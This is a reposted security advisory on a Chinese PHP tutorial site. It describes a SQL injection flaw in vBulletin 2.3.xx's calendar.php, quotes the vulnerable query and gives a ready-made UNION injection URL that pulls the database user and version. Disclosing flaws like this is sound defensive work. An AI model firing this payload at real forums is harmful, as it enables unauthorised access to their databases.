繁體中文当前位置: 首页 > 图文教程 > 网络编程 > PHP > vBulletin Forum 2.3.xx SQL Injection
- PHP
- PHP5中PDO的简单使用
- 更好的构造开发模板 五种PHP设计模式
- PHP和AJAX打造高级RSS聚合器
- 跟我来学PHP5：session会话的使用和分析
- 构建可配置PHP应用程序的正确方式
- 在PHP中全面阻止SQL注入式攻击之一
- 在PHP中全面阻止SQL注入式攻击之二
- 在PHP中全面阻止SQL注入式攻击之三
- 7种流行PHP集成开发工具(IDE)的比较
- PHP中的XML应用
- PHP会话——session 时间设定使用入门
- PHP对GB编码动态转UTF-8几种方法评测
- 确保PHP安全，不能违反的四条安全规则
- 如何利用PHP会话显示出当前在线的用户
- PHP开发实例：创建PDF中文文档的程序代码
- 动态网页技术PHP的数组处理函数库
- 一贴学会PHP 为落伍的MJJ们量身定做的教程
- PHP生成RSS类 (PHP类）
- 基于PHP和AJAX创建RSS聚合器 (1)
- PHP实例——PHP创建动态图像
PHP 中的 vBulletin Forum 2.3.xx SQL Injection
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 223 ::
收藏到网摘: n/a
vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.
评论 (0) All
